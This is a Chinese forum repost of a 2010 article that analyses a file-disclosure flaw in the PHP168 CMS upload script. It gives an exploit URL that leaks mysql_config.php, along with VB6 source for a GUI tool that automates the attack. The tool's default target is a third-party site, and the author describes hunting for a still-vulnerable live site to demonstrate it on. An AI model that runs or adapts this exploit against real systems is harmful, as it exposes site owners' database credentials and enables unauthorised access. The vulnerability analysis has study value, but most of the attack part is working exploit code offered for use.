找回密码
 注册
搜索
热搜: 回贴

分析和编写PHP168文件源码泄漏工具

2010-1-31 07:59| 发布者: admin| 查看: 69| 评论: 0|原作者: 夙玉

(这篇文章发到这里不太合适,先凑凑数,以后再删掉)
冰海【LOVEGN】 (I.E.W&S.S.F)
今天在团队QQ群中看到Men_Si发来的PHP168文件源码泄漏工具,但很多朋友都不知道如何利用,而且网上的东西也是东拼西凑,在这里鄙视下不保留完整信息的转载者,让小菜们完全不好分析,也就有了这篇文章,在这里我和小菜们一起来分析下,只有弄明白了漏洞的原因,这样我们才能提高,那么下面我们就一起来分析下漏洞,最后并根据自己的分析写出自己的漏洞利用工具,这样够酷吧,
我们先来分析产生漏洞的源码,漏洞文件是upfile.php,次要代码都已经省略,而且代码都加了我的注释,大家应该都能够看懂,
if($postfile)
{

if( !ereg("^[0-9a-z_/]+$",$dir)||ereg("^/",$dir) )
{ $dir="other";}
$array[name]=is_array($postfile)?$_FILES[postfile][name]:$postfile_name;
//如果postfile是数组,那么$array[name]就是上传得文件名,如果postfile不是数组那么$array[name]就是$postfile_name

$array[path]=$webdb[updir]."/". $dir; //最终保存文件的路径

$array[size]=is_array($postfile)?$_FILES[postfile][size]:$postfile_size;

$array[updateTable]=1;
$filename=upfile(is_array($postfile)?$_FILES[postfile][tmp_name]:$postfile,$array);
}
大家看到没有只要$postfile存在,并且不为数组我们就可以为$postfile,$postfile_name,$postfile_size赋值,那么下面我们在接着看看upfile这个函数,看看到底是什么漏洞,代码太长了,省略N多
function upfile($upfile,$array){
global $db,$lfjuid,$pre,$webdb,$groupdb,$lfjdb;
$filename=$array[name]; //获得上传文件名,该filename获得的是postfile_name的变量
$FY=strtolower(strrchr(basename($upfile),"."));if($FY&&$FY!='.tmp')die("上传文件有误");
$path=makepath(PHP168_PATH.$array[path]);
…………
$size=abs($array[size]);
$filetype=strtolower(strrchr($filename,"."));//获得文件的扩展名
…………
$oldname=preg_replace("/(.*)\.([^.]*)/is","\\1",$filename);
if(eregi("(.jpg|.png|.gif)$",$filetype)){
//当文件的扩展名为jpg,png,gif时才可以上传
$tempname="{$lfjuid}_".date("YmdHms_",time()).rands(5).$filetype;
}else{
$tempname="{$lfjuid}_".date("YmdHms_",time()).base64_encode(urlencode($oldname)).$filetype;
}
$newfile="$path/$tempname";
if(@move_uploaded_file($upfile,$newfile))//将upfile文件移动到目的地址,其实也就是完成最后的上传文件功能
{
@chmod($newfile, 0777);
$ck=2;
}
而upfile这个变量我们完全可以用postfile来控制,而扩展名的绕过就可以用postfile_name,这样漏洞就产生了,我们就将postfile文件当成图片格式来保存了,在本地直接构造提交页面提交地址为http://www.xxx.com/upfile.php?postfile=php168/mysql_config.php&postfile_name=images/default/logo.gif&postfile_size=222
其中postfile也可以为任意php文件,而且提交成功后有地址返回,然后通过访问该地址就可以看到mysql_config.php的文件内容,很简单吧,竟然原理明白了,那我们就一起来写自己的漏洞利用工具。本想用php写,但由于该上传功能只有登陆用户才可以使用,避免大家抓包拿cookie,那我们还是用最简单的VB来编写自己的可视化工具,这里我只贴出主要代码内容,然后加上分析,以免有占用篇幅之嫌,呵呵:界面的设计大家可以随意啦,这里我们需要三个按钮控件:
1 注册用户,
2 上传文件,出发漏洞
3 访问泄露代码的文件
Private Sub Command1_Click() ‘上传文件,出发漏洞
'ShellExecute hwnd, "open", "http://" + Text2.Text + "/reg.php", vbNullString, vbNullString, vbNormalFocus
WebBrowser1.Navigate "http://" + Text2.Text + "/reg.php"
End Sub
Private Sub Command2_Click()
Dim str As String
Dim upfilename As String '要查看文件的文件名
Dim poststr As String '提交的字符串
On Error Resume Next
upfilename = Text3.Text
str = "upfile.php?postfile=" + upfilename + "&postfile_name=images/default/logo.gif&postfile_size=222"
poststr = Text2.Text + "/" + str
rethtml = Inet1.OpenURL(poststr) '向服务器提交数据,其中ret是服务器的返回信息
If rethtml <> "" Then
'分离出上传文件的文件名
Dim lovegn_start
lovegn_search = "other/"
lovegn_start = InStr(rethtml, lovegn_search)
MsgBox lovegn_start
lovegn_explode = Len(rethtml) - lovegn_start + 1
lovegn_explode1 = Right(rethtml, lovegn_explode)
lovegn_des = Split(lovegn_explode1, ">")
If lovegn_des <> "" Then
Command3.Enabled = True
End If
Else
MsgBox "服务器没有返回数据"
End If
End Sub
Private Sub Command3_Click() '爆出文件的内容
Dim poststr
poststr = Text2.Text + " upload_files/" + lovegn_des
WebBrowser1.Navigate poststr
Command3.Enabled = False
End Sub
Private Sub Form_Load()
Text2.Text = "http://blog.ibk528.com"
Text3.Text = "php168/mysql_config.php"
Command3.Enabled = False
WebBrowser1.Navigate Text2.Text
End Sub
由于时间的关系,代码写的比较简单,当然一个成型的工具可没有这么简单,这里主要目的是提成大家的兴趣,下面是对工具的测试,实践才是检验工具的最好方法,由于这篇文章写的比较晚,估计漏洞都补得不多了,找了一个小时,才找到一个可以利用的网站,大家可以看看效果,我已经注册好了,就不重复注册,直接演示结果:


最新评论

相关分类

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-30 03:30 , Processed in 0.126625 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部